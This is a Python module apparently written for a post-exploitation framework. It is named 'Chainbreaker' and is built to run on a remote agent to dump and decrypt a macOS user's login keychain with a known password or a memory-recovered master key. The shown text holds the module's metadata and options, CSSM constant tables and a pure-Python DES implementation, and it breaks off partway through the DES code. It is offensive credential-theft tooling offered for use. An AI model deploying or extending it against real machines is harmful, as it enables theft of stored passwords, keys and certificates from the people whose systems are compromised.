class Module:

    def __init__(self, mainMenu, params=[]):

        # metadata info about the module, not modified during runtime
        self.info = {
            # name for the module that will appear in module menus
            'Name': 'Chainbreaker',

            # list of one or more authors for the module
            'Author': ['@n0fate', '@Killswitch-GUI'],

            # more verbose multi-line description of the module
            'Description': ("A keychain dump module that allows for decryption via known password."),

            # True if the module needs to run in the background
            'Background' : False,

            # File extension to save the file as
            'OutputExtension' : "",

            # if the module needs administrative privileges
            'NeedsAdmin' : False,

            # Use on disk execution method, rather than a dynamic exec method
            'RunOnDisk' : True,

            # True if the method doesn't touch disk/is reasonably opsec safe
            'OpsecSafe' : False,

            # the module language
            'Language' : 'python',

            # the minimum language version needed
            'MinLanguageVersion' : '2.6',

            # list of any references/other comments
            'Comments': [
                "https://github.com/n0fate/chainbreaker"
            ]
        }

        # any options needed by the module, settable during runtime
        self.options = {
            # format:
            #   value_name : {description, required, default_value}
            'Agent' : {
                # The 'Agent' option is the only one that MUST be in a module
                'Description'   :   'Agent to execute module on.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'KeyChain' : {
                'Description'   :   'Manual location of keychain to decrypt, otherwise default.',
                'Required'      :   True,
                'Value'         :   '/Users/USERNAME/Library/Keychains/login.keychain'
            },
            'MasterKey' : {
                'Description'   :   'Master key candidate used in memory to decrypt keychain (recovered via mem-dump).',
                'Required'      :   False,
                'Value'         :   ''
            },
            'Password' : {
                'Description'   :   'Known user password to attempt to decrypt the Keychain.',
                'Required'      :   True,
                'Value'         :   ''
            }
        }

        # save off a copy of the mainMenu object to access external functionality
        #   like listeners/agent handlers/etc.
        self.mainMenu = mainMenu

        # During instantiation, any settable option parameters
        #   are passed as an object set to the module and the
        #   options dictionary is automatically set. This is mostly
        #   in case options are passed on the command line
        if params:
            for param in params:
                # parameter format is [Name, Value]
                option, value = param
                if option in self.options:
                    self.options[option]['Value'] = value

    def generate(self, obfuscate=False, obfuscationCommand=""):

        keyChain = self.options['KeyChain']['Value']
        password = self.options['Password']['Value']
        script = r"""
# http://web.mit.edu/darwin/src/modules/Security/cdsa/cdsa/cssmtype.h
KEY_TYPE = {
    0x00+0x0F : 'CSSM_KEYCLASS_PUBLIC_KEY',
    0x01+0x0F : 'CSSM_KEYCLASS_PRIVATE_KEY',
    0x02+0x0F : 'CSSM_KEYCLASS_SESSION_KEY',
    0x03+0x0F : 'CSSM_KEYCLASS_SECRET_PART',
    0xFFFFFFFF : 'CSSM_KEYCLASS_OTHER'
}

CSSM_ALGORITHMS = {
    0 : 'CSSM_ALGID_NONE',
    1 : 'CSSM_ALGID_CUSTOM',
    2 : 'CSSM_ALGID_DH',
    3 : 'CSSM_ALGID_PH',
    4 : 'CSSM_ALGID_KEA',
    5 : 'CSSM_ALGID_MD2',
    6 : 'CSSM_ALGID_MD4',
    7 : 'CSSM_ALGID_MD5',
    8 : 'CSSM_ALGID_SHA1',
    9 : 'CSSM_ALGID_NHASH',
    10 : 'CSSM_ALGID_HAVAL:',
    11 : 'CSSM_ALGID_RIPEMD',
    12 : 'CSSM_ALGID_IBCHASH',
    13 : 'CSSM_ALGID_RIPEMAC',
    14 : 'CSSM_ALGID_DES',
    15 : 'CSSM_ALGID_DESX',
    16 : 'CSSM_ALGID_RDES',
    17 : 'CSSM_ALGID_3DES_3KEY_EDE',
    18 : 'CSSM_ALGID_3DES_2KEY_EDE',
    19 : 'CSSM_ALGID_3DES_1KEY_EEE',
    20 : 'CSSM_ALGID_3DES_3KEY_EEE',
    21 : 'CSSM_ALGID_3DES_2KEY_EEE',
    22 : 'CSSM_ALGID_IDEA',
    23 : 'CSSM_ALGID_RC2',
    24 : 'CSSM_ALGID_RC5',
    25 : 'CSSM_ALGID_RC4',
    26 : 'CSSM_ALGID_SEAL',
    27 : 'CSSM_ALGID_CAST',
    28 : 'CSSM_ALGID_BLOWFISH',
    29 : 'CSSM_ALGID_SKIPJACK',
    30 : 'CSSM_ALGID_LUCIFER',
    31 : 'CSSM_ALGID_MADRYGA',
    32 : 'CSSM_ALGID_FEAL',
    33 : 'CSSM_ALGID_REDOC',
    34 : 'CSSM_ALGID_REDOC3',
    35 : 'CSSM_ALGID_LOKI',
    36 : 'CSSM_ALGID_KHUFU',
    37 : 'CSSM_ALGID_KHAFRE',
    38 : 'CSSM_ALGID_MMB',
    39 : 'CSSM_ALGID_GOST',
    40 : 'CSSM_ALGID_SAFER',
    41 : 'CSSM_ALGID_CRAB',
    42 : 'CSSM_ALGID_RSA',
    43 : 'CSSM_ALGID_DSA',
    44 : 'CSSM_ALGID_MD5WithRSA',
    45 : 'CSSM_ALGID_MD2WithRSA',
    46 : 'CSSM_ALGID_ElGamal',
    47 : 'CSSM_ALGID_MD2Random',
    48 : 'CSSM_ALGID_MD5Random',
    49 : 'CSSM_ALGID_SHARandom',
    50 : 'CSSM_ALGID_DESRandom',
    51 : 'CSSM_ALGID_SHA1WithRSA',
    52 : 'CSSM_ALGID_CDMF',
    53 : 'CSSM_ALGID_CAST3',
    54 : 'CSSM_ALGID_CAST5',
    55 : 'CSSM_ALGID_GenericSecret',
    56 : 'CSSM_ALGID_ConcatBaseAndKey',
    57 : 'CSSM_ALGID_ConcatKeyAndBase',
    58 : 'CSSM_ALGID_ConcatBaseAndData',
    59 : 'CSSM_ALGID_ConcatDataAndBase',
    60 : 'CSSM_ALGID_XORBaseAndData',
    61 : 'CSSM_ALGID_ExtractFromKey',
    62 : 'CSSM_ALGID_SSL3PreMasterGen',
    63 : 'CSSM_ALGID_SSL3MasterDerive',
    64 : 'CSSM_ALGID_SSL3KeyAndMacDerive',
    65 : 'CSSM_ALGID_SSL3MD5_MAC',
    66 : 'CSSM_ALGID_SSL3SHA1_MAC',
    67 : 'CSSM_ALGID_PKCS5_PBKDF1_MD5',
    68 : 'CSSM_ALGID_PKCS5_PBKDF1_MD2',
    69 : 'CSSM_ALGID_PKCS5_PBKDF1_SHA1',
    70 : 'CSSM_ALGID_WrapLynks',
    71 : 'CSSM_ALGID_WrapSET_OAEP',
    72 : 'CSSM_ALGID_BATON',
    73 : 'CSSM_ALGID_ECDSA',
    74 : 'CSSM_ALGID_MAYFLY',
    75 : 'CSSM_ALGID_JUNIPER',
    76 : 'CSSM_ALGID_FASTHASH',
    77 : 'CSSM_ALGID_3DES',
    78 : 'CSSM_ALGID_SSL3MD5',
    79 : 'CSSM_ALGID_SSL3SHA1',
    80 : 'CSSM_ALGID_FortezzaTimestamp',
    81 : 'CSSM_ALGID_SHA1WithDSA',
    82 : 'CSSM_ALGID_SHA1WithECDSA',
    83 : 'CSSM_ALGID_DSA_BSAFE',
    84 : 'CSSM_ALGID_ECDH',
    85 : 'CSSM_ALGID_ECMQV',
    86 : 'CSSM_ALGID_PKCS12_SHA1_PBE',
    87 : 'CSSM_ALGID_ECNRA',
    88 : 'CSSM_ALGID_SHA1WithECNRA',
    89 : 'CSSM_ALGID_ECES',
    90 : 'CSSM_ALGID_ECAES',
    91 : 'CSSM_ALGID_SHA1HMAC',
    92 : 'CSSM_ALGID_FIPS186Random',
    93 : 'CSSM_ALGID_ECC',
    94 : 'CSSM_ALGID_MQV',
    95 : 'CSSM_ALGID_NRA',
    96 : 'CSSM_ALGID_IntelPlatformRandom',
    97 : 'CSSM_ALGID_UTC',
    98 : 'CSSM_ALGID_HAVAL3',
    99 : 'CSSM_ALGID_HAVAL4',
    100 : 'CSSM_ALGID_HAVAL5',
    101 : 'CSSM_ALGID_TIGER',
    102 : 'CSSM_ALGID_MD5HMAC',
    103 : 'CSSM_ALGID_PKCS5_PBKDF2',
    104 : 'CSSM_ALGID_RUNNING_COUNTER',
    0x7FFFFFFF : 'CSSM_ALGID_LAST'
}

#CSSM TYPE
## http://www.opensource.apple.com/source/libsecurity_cssm/libsecurity_cssm-36064/lib/cssmtype.h

########## CSSM_DB_RECORDTYPE #############

#/* Industry At Large Application Name Space Range Definition */
#/* AppleFileDL record types. */
CSSM_DB_RECORDTYPE_APP_DEFINED_START = 0x80000000
CSSM_DL_DB_RECORD_GENERIC_PASSWORD = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 0
CSSM_DL_DB_RECORD_INTERNET_PASSWORD = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 1
CSSM_DL_DB_RECORD_APPLESHARE_PASSWORD = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 2
CSSM_DL_DB_RECORD_USER_TRUST = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 3
CSSM_DL_DB_RECORD_X509_CRL = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 4
CSSM_DL_DB_RECORD_UNLOCK_REFERRAL = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 5
CSSM_DL_DB_RECORD_EXTENDED_ATTRIBUTE = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 6

CSSM_DL_DB_RECORD_X509_CERTIFICATE = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 0x1000
CSSM_DL_DB_RECORD_METADATA = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 0x8000  ## DBBlob
CSSM_DB_RECORDTYPE_APP_DEFINED_END = 0xffffffff

#/* Record Types defined in the Schema Management Name Space */
CSSM_DB_RECORDTYPE_SCHEMA_START = 0x00000000
CSSM_DL_DB_SCHEMA_INFO = CSSM_DB_RECORDTYPE_SCHEMA_START + 0
CSSM_DL_DB_SCHEMA_INDEXES = CSSM_DB_RECORDTYPE_SCHEMA_START + 1
CSSM_DL_DB_SCHEMA_ATTRIBUTES = CSSM_DB_RECORDTYPE_SCHEMA_START + 2
CSSM_DL_DB_SCHEMA_PARSING_MODULE = CSSM_DB_RECORDTYPE_SCHEMA_START + 3
CSSM_DB_RECORDTYPE_SCHEMA_END = CSSM_DB_RECORDTYPE_SCHEMA_START + 4

#/* Record Types defined in the Open Group Application Name Space */
#/* Open Group Application Name Space Range Definition*/
CSSM_DB_RECORDTYPE_OPEN_GROUP_START = 0x0000000A
CSSM_DL_DB_RECORD_ANY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 0
CSSM_DL_DB_RECORD_CERT = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 1
CSSM_DL_DB_RECORD_CRL = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 2
CSSM_DL_DB_RECORD_POLICY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 3
CSSM_DL_DB_RECORD_GENERIC = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 4
CSSM_DL_DB_RECORD_PUBLIC_KEY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 5
CSSM_DL_DB_RECORD_PRIVATE_KEY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 6
CSSM_DL_DB_RECORD_SYMMETRIC_KEY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 7
CSSM_DL_DB_RECORD_ALL_KEYS = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 8
CSSM_DB_RECORDTYPE_OPEN_GROUP_END = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 8
#####################

######## KEYUSE #########
CSSM_KEYUSE_ANY = 0x80000000
CSSM_KEYUSE_ENCRYPT = 0x00000001
CSSM_KEYUSE_DECRYPT = 0x00000002
CSSM_KEYUSE_SIGN = 0x00000004
CSSM_KEYUSE_VERIFY = 0x00000008
CSSM_KEYUSE_SIGN_RECOVER = 0x00000010
CSSM_KEYUSE_VERIFY_RECOVER = 0x00000020
CSSM_KEYUSE_WRAP = 0x00000040
CSSM_KEYUSE_UNWRAP = 0x00000080
CSSM_KEYUSE_DERIVE = 0x00000100
####################

############ CERT TYPE ##############
CERT_TYPE = {
    0x00 : 'CSSM_CERT_UNKNOWN',
    0x01 : 'CSSM_CERT_X_509v1',
    0x02 : 'CSSM_CERT_X_509v2',
    0x03 : 'CSSM_CERT_X_509v3',
    0x04 : 'CSSM_CERT_PGP',
    0x05 : 'CSSM_CERT_SPKI',
    0x06 : 'CSSM_CERT_SDSIv1',
    0x08 : 'CSSM_CERT_Intel',
    0x09 : 'CSSM_CERT_X_509_ATTRIBUTE',
    0x0A : 'CSSM_CERT_X9_ATTRIBUTE',
    0x0C : 'CSSM_CERT_ACL_ENTRY',
    0x7FFE: 'CSSM_CERT_MULTIPLE',
    0x7FFF : 'CSSM_CERT_LAST',
    0x8000 : 'CSSM_CL_CUSTOM_CERT_TYPE'
}
####################################

########### CERT ENCODING #############
CERT_ENCODING = {
    0x00 : 'CSSM_CERT_ENCODING_UNKNOWN',
    0x01 : 'CSSM_CERT_ENCODING_CUSTOM',
    0x02 : 'CSSM_CERT_ENCODING_BER',
    0x03 : 'CSSM_CERT_ENCODING_DER',
    0x04 : 'CSSM_CERT_ENCODING_NDR',
    0x05 : 'CSSM_CERT_ENCODING_SEXPR',
    0x06 : 'CSSM_CERT_ENCODING_PGP',
    0x7FFE: 'CSSM_CERT_ENCODING_MULTIPLE',
    0x7FFF : 'CSSM_CERT_ENCODING_LAST'
}

STD_APPLE_ADDIN_MODULE = {
    '{87191ca0-0fc9-11d4-849a-000502b52122}': 'CSSM itself',
    '{87191ca1-0fc9-11d4-849a-000502b52122}': 'File based DL (aka "Keychain DL")',
    '{87191ca2-0fc9-11d4-849a-000502b52122}': 'Core CSP (local space)',
    '{87191ca3-0fc9-11d4-849a-000502b52122}': 'Secure CSP/DL (aka "Keychain CSPDL")',
    '{87191ca4-0fc9-11d4-849a-000502b52122}': 'X509 Certificate CL',
    '{87191ca5-0fc9-11d4-849a-000502b52122}': 'X509 Certificate TP',
    '{87191ca6-0fc9-11d4-849a-000502b52122}': 'DLAP/OpenDirectory access DL',
    '{87191ca7-0fc9-11d4-849a-000502b52122}': 'TP for ".mac" related policies',
    '{87191ca8-0fc9-11d4-849a-000502b52122}': 'Smartcard CSP/DL',
    '{87191ca9-0fc9-11d4-849a-000502b52122}': 'DL for ".mac" certificate access'
}

SECURE_STORAGE_GROUP = 'ssgp'

AUTH_TYPE = {
    'ntlm': 'kSecAuthenticationTypeNTLM',
    'msna': 'kSecAuthenticationTypeMSN',
    'dpaa': 'kSecAuthenticationTypeDPA',
    'rpaa': 'kSecAuthenticationTypeRPA',
    'http': 'kSecAuthenticationTypeHTTPBasic',
    'httd': 'kSecAuthenticationTypeHTTPDigest',
    'form': 'kSecAuthenticationTypeHTMLForm',
    'dflt': 'kSecAuthenticationTypeDefault',
    '': 'kSecAuthenticationTypeAny',
    '\x00\x00\x00\x00': 'kSecAuthenticationTypeAny'
}

PROTOCOL_TYPE = {
    'ftp ': 'kSecProtocolTypeFTP',
    'ftpa': 'kSecProtocolTypeFTPAccount',
    'http': 'kSecProtocolTypeHTTP',
    'irc ': 'kSecProtocolTypeIRC',
    'nntp': 'kSecProtocolTypeNNTP',
    'pop3': 'kSecProtocolTypePOP3',
    'smtp': 'kSecProtocolTypeSMTP',
    'sox ': 'kSecProtocolTypeSOCKS',
    'imap': 'kSecProtocolTypeIMAP',
    'ldap': 'kSecProtocolTypeLDAP',
    'atlk': 'kSecProtocolTypeAppleTalk',
    'afp ': 'kSecProtocolTypeAFP',
    'teln': 'kSecProtocolTypeTelnet',
    'ssh ': 'kSecProtocolTypeSSH',
    'ftps': 'kSecProtocolTypeFTPS',
    'htps': 'kSecProtocolTypeHTTPS',
    'htpx': 'kSecProtocolTypeHTTPProxy',
    'htsx': 'kSecProtocolTypeHTTPSProxy',
    'ftpx': 'kSecProtocolTypeFTPProxy',
    'cifs': 'kSecProtocolTypeCIFS',
    'smb ': 'kSecProtocolTypeSMB',
    'rtsp': 'kSecProtocolTypeRTSP',
    'rtsx': 'kSecProtocolTypeRTSPProxy',
    'daap': 'kSecProtocolTypeDAAP',
    'eppc': 'kSecProtocolTypeEPPC',
    'ipp ': 'kSecProtocolTypeIPP',
    'ntps': 'kSecProtocolTypeNNTPS',
    'ldps': 'kSecProtocolTypeLDAPS',
    'tels': 'kSecProtocolTypeTelnetS',
    'imps': 'kSecProtocolTypeIMAPS',
    'ircs': 'kSecProtocolTypeIRCS',
    'pops': 'kSecProtocolTypePOP3S',
    'cvsp': 'kSecProtocolTypeCVSpserver',
    'svn ': 'kSecProtocolTypeCVSpserver',
    'AdIM': 'kSecProtocolTypeAdiumMessenger',
    '\x00\x00\x00\x00': 'kSecProtocolTypeAny'
}

# This is somewhat gross: we define a bunch of module-level constants based on
# the SecKeychainItem.h defines (FourCharCodes) by passing them through
# struct.unpack and converting them to ctypes.c_long() since we'll never use
# them for non-native APIs

CARBON_DEFINES = {
    'cdat': 'kSecCreationDateItemAttr',
    'mdat': 'kSecModDateItemAttr',
    'desc': 'kSecDescriptionItemAttr',
    'icmt': 'kSecCommentItemAttr',
    'crtr': 'kSecCreatorItemAttr',
    'type': 'kSecTypeItemAttr',
    'scrp': 'kSecScriptCodeItemAttr',
    'labl': 'kSecLabelItemAttr',
    'invi': 'kSecInvisibleItemAttr',
    'nega': 'kSecNegativeItemAttr',
    'cusi': 'kSecCustomIconItemAttr',
    'acct': 'kSecAccountItemAttr',
    'svce': 'kSecServiceItemAttr',
    'gena': 'kSecGenericItemAttr',
    'sdmn': 'kSecSecurityDomainItemAttr',
    'srvr': 'kSecServerItemAttr',
    'atyp': 'kSecAuthenticationTypeItemAttr',
    'port': 'kSecPortItemAttr',
    'path': 'kSecPathItemAttr',
    'vlme': 'kSecVolumeItemAttr',
    'addr': 'kSecAddressItemAttr',
    'ssig': 'kSecSignatureItemAttr',
    'ptcl': 'kSecProtocolItemAttr',
    'ctyp': 'kSecCertificateType',
    'cenc': 'kSecCertificateEncoding',
    'crtp': 'kSecCrlType',
    'crnc': 'kSecCrlEncoding',
    'alis': 'kSecAlias',
    'inet': 'kSecInternetPasswordItemClass',
    'genp': 'kSecGenericPasswordItemClass',
    'ashp': 'kSecAppleSharePasswordItemClass',
    CSSM_DL_DB_RECORD_X509_CERTIFICATE: 'kSecCertificateItemClass'
}




# ############################################################################
# Documentation                 #
#############################################################################

# Author:   Todd Whiteman
# Date:     7th May, 2003
# Verion:   1.1
# Homepage: http://home.pacific.net.au/~twhitema/des.html
#
# Modifications to 3des CBC code by Matt Johnston 2004 <matt at ucc asn au>
#
# This algorithm is a pure python implementation of the DES algorithm.
# It is in pure python to avoid portability issues, since most DES 
# implementations are programmed in C (for performance reasons).
#
# Triple DES class is also implemented, utilising the DES base. Triple DES
# is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key.
#
# See the README.txt that should come with this python module for the
# implementation methods used.

'''A pure python implementation of the DES and TRIPLE DES encryption algorithms

pyDes.des(key, [mode], [IV])
pyDes.triple_des(key, [mode], [IV])

key  -> String containing the encryption key. 8 bytes for DES, 16 or 24 bytes
    for Triple DES
mode -> Optional argument for encryption type, can be either
        pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining)
IV   -> Optional argument, must be supplied if using CBC mode. Must be 8 bytes


Example:
from pyDes import *

data = "Please encrypt my string"
k = des("DESCRYPT", " ", CBC, "\0\0\0\0\0\0\0\0")
d = k.encrypt(data)
print "Encypted string: " + d
print "Decypted string: " + k.decrypt(d)

See the module source (pyDes.py) for more examples of use.
You can slo run the pyDes.py file without and arguments to see a simple test.

Note: This code was not written for high-end systems needing a fast
      implementation, but rather a handy portable solution with small usage.

'''


# Modes of crypting / cyphering
ECB = 0
CBC = 1


#############################################################################
#                   DES                     #
#############################################################################
class des:
    '''DES encryption/decrytpion class

    Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.

    pyDes.des(key,[mode], [IV])

    key  -> The encryption key string, must be exactly 8 bytes
    mode -> Optional argument for encryption type, can be either pyDes.ECB
        (Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
    IV   -> Optional string argument, must be supplied if using CBC mode.
        Must be 8 bytes in length.
    '''


    # Permutation and translation tables for DES
    __pc1 = [56, 48, 40, 32, 24, 16, 8,
             0, 57, 49, 41, 33, 25, 17,
             9, 1, 58, 50, 42, 34, 26,
             18, 10, 2, 59, 51, 43, 35,
             62, 54, 46, 38, 30, 22, 14,
             6, 61, 53, 45, 37, 29, 21,
             13, 5, 60, 52, 44, 36, 28,
             20, 12, 4, 27, 19, 11, 3
    ]

    # number left rotations of pc1
    __left_rotations = [
        1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
    ]

    # permuted choice key (table 2)
    __pc2 = [
        13, 16, 10, 23, 0, 4,
        2, 27, 14, 5, 20, 9,
        22, 18, 11, 3, 25, 7,
        15, 6, 26, 19, 12, 1,
        40, 51, 30, 36, 46, 54,
        29, 39, 50, 44, 32, 47,
        43, 48, 38, 55, 33, 52,
        45, 41, 49, 35, 28, 31
    ]

    # initial permutation IP
    __ip = [57, 49, 41, 33, 25, 17, 9, 1,
            59, 51, 43, 35, 27, 19, 11, 3,
            61, 53, 45, 37, 29, 21, 13, 5,
            63, 55, 47, 39, 31, 23, 15, 7,
            56, 48, 40, 32, 24, 16, 8, 0,
            58, 50, 42, 34, 26, 18, 10, 2,
            60, 52, 44, 36, 28, 20, 12, 4,
            62, 54, 46, 38, 30, 22, 14, 6
    ]

    # Expansion table for turning 32 bit blocks into 48 bits
    __expansion_table = [
        31, 0, 1, 2, 3, 4,
        3, 4, 5, 6, 7, 8,
        7, 8, 9, 10, 11, 12,
        11, 12, 13, 14, 15, 16,
        15, 16, 17, 18, 19, 20,
        19, 20, 21, 22, 23, 24,
        23, 24, 25, 26, 27, 28,
        27, 28, 29, 30, 31, 0
    ]

    # The (in)famous S-boxes
    __sbox = [  # S1
                [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
                 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
                 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
                 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13],  # S2
                [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
                 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
                 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
                 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9],  # S3
                [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
                 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
                 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
                 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12],  # S4
                [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
                 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
                 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
                 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14],  # S5
                [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
                 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
                 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
                 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3],  # S6
                [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
                 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
                 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
                 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13],  # S7
                [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
                 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
                 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
                 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12],  # S8
                [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
                 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
                 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
                 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11],
    ]


    # 32-bit permutation function P used on the output of the S-boxes
    __p = [
        15, 6, 19, 20, 28, 11,
        27, 16, 0, 14, 22, 25,
        4, 17, 30, 9, 1, 7,
        23, 13, 31, 26, 2, 8,
        18, 12, 29, 5, 21, 10,
        3, 24
    ]

    # final permutation IP^-1
    __fp = [
        39, 7, 47, 15, 55, 23, 63, 31,
        38, 6, 46, 14, 54, 22, 62, 30,
        37, 5, 45, 13, 53, 21, 61, 29,
        36, 4, 44, 12, 52, 20, 60, 28,
        35, 3, 43, 11, 51, 19, 59, 27,
        34, 2, 42, 10, 50, 18, 58, 26,
        33, 1, 41, 9, 49, 17, 57, 25,
        32, 0, 40, 8, 48, 16, 56, 24
    ]

    # Type of crypting being done
    ENCRYPT = 0x00
    DECRYPT = 0x01

    # Initialisation
    def __init__(self, key, mode=ECB, IV=None):
        if len(key) != 8:
            raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.")
        self.block_size = 8
        self.key_size = 8
        self.__padding = ''

        # Set the passed in variables
        self.setMode(mode)
        if IV:
            self.setIV(IV)

        self.L = []
        self.R = []
        self.Kn = [[0] * 48] * 16  # 16 48-bit keys (K1 - K16)
        self.final = []

        self.setKey(key)


    def getKey(self):
        '''getKey() -> string'''
        return self.__key

    def setKey(self, key):
        '''Will set the crypting key for this object. Must be 8 bytes'''
        self.__key = key
        self.__create_sub_keys()

    def getMode(self):
        '''getMode() -> pyDes.ECB or pyDes.CBC'''
        return self.__mode

    def setMode(self, mode):
        '''Sets the type of crypting mode, pyDes.ECB or pyDes.CBC'''
        self.__mode = mode

    def getIV(self):
        '''getIV() -> string'''
        return self.__iv

    def setIV(self, IV):
        '''Will set the Initial Value, used in conjunction with CBC mode'''
        if not IV or len(IV) != self.block_size:
            raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
        self.__iv = IV

    def getPadding(self):
        '''getPadding() -> string of length 1. Padding character'''
        return self.__padding

    def __String_to_BitList(self, data):
        '''Turn the string data, into a list of bits (1, 0)'s'''
        l = len(data) * 8
        result = [0] * l
        pos = 0
        for c in data:
            i = 7
            ch = ord(c)
            while i >= 0:
                if ch & (1 << i) != 0:
                    result[pos] = 1
                else:
                    result[pos] = 0
                pos += 1
                i -= 1

        return result

    def __BitList_to_String(self, data):
        '''Turn the list of bits -> data, into a string'''
        result = ''
        pos = 0
        c = 0
        while pos < len(data):
            c += data[pos] << (7 - (pos % 8))
            if (pos % 8) == 7:
                result += chr(c)
                c = 0
            pos += 1

        return result

    def __permutate(self, table, block):
        '''Permutate this block with the specified table'''
        return map(lambda x: block[x], table)

    # Transform the secret key, so that it is ready for data processing
    # Create the 16 subkeys, K[1] - K[16]
    def __create_sub_keys(self):
        '''Create the 16 subkeys K[1] to K[16] from the given key'''
        key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey()))
        i = 0
        # Split into Left and Right sections
        self.L = key[:28]
        self.R = key[28:]
        while i < 16:
            j = 0
            # Perform circular left shifts
            while j < des.__left_rotations[i]:
                self.L.append(self.L[0])
                del self.L[0]

                self.R.append(self.R[0])
                del self.R[0]

                j += 1

            # Create one of the 16 subkeys through pc2 permutation
            self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R)

            i += 1

    # Main part of the encryption algorithm, the number cruncher :)
    def __des_crypt(self, block, crypt_type):
        '''Crypt the block of data through DES bit-manipulation'''
        block = self.__permutate(des.__ip, block)
        self.L = block[:32]
        self.R = block[32:]

        # Encryption starts from Kn[1] through to Kn[16]
        if crypt_type == des.ENCRYPT:
            iteration = 0
            iteration_adjustment = 1
        # Decryption starts from Kn[16] down to Kn[1]
        else:
            iteration = 15
            iteration_adjustment = -1

        i = 0
        while i < 16:
            # Make a copy of R[i-1], this will later become L[i]
            tempR = self.R[:]

            # Permutate R[i - 1] to start creating R[i]
            self.R = self.__permutate(des.__expansion_table, self.R)

            # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here
            self.R = map(lambda x, y: x ^ y, self.R, self.Kn[iteration])
            B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42],
                 self.R[42:]]
            # Optimization: Replaced below commented code with above
            #j = 0
            #B = []
            #while j < len(self.R):
            #   self.R[j] = self.R[j] ^ self.Kn[iteration][j]
            #   j += 1
            #   if j % 6 == 0:
            #       B.append(self.R[j-6:j])

            # Permutate B[1] to B[8] using the S-Boxes
            j = 0
            Bn = [0] * 32
            pos = 0
            while j < 8:
                # Work out the offsets
                m = (B[j][0] << 1) + B[j][5]
                n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4]

                # Find the permutation value
                v = des.__sbox[j][(m << 4) + n]

                # Turn value into bits, add it to result: Bn
                Bn[pos] = (v & 8) >> 3
                Bn[pos + 1] = (v & 4) >> 2
                Bn[pos + 2] = (v & 2) >> 1
                Bn[pos + 3] = v & 1

                pos += 4
                j += 1

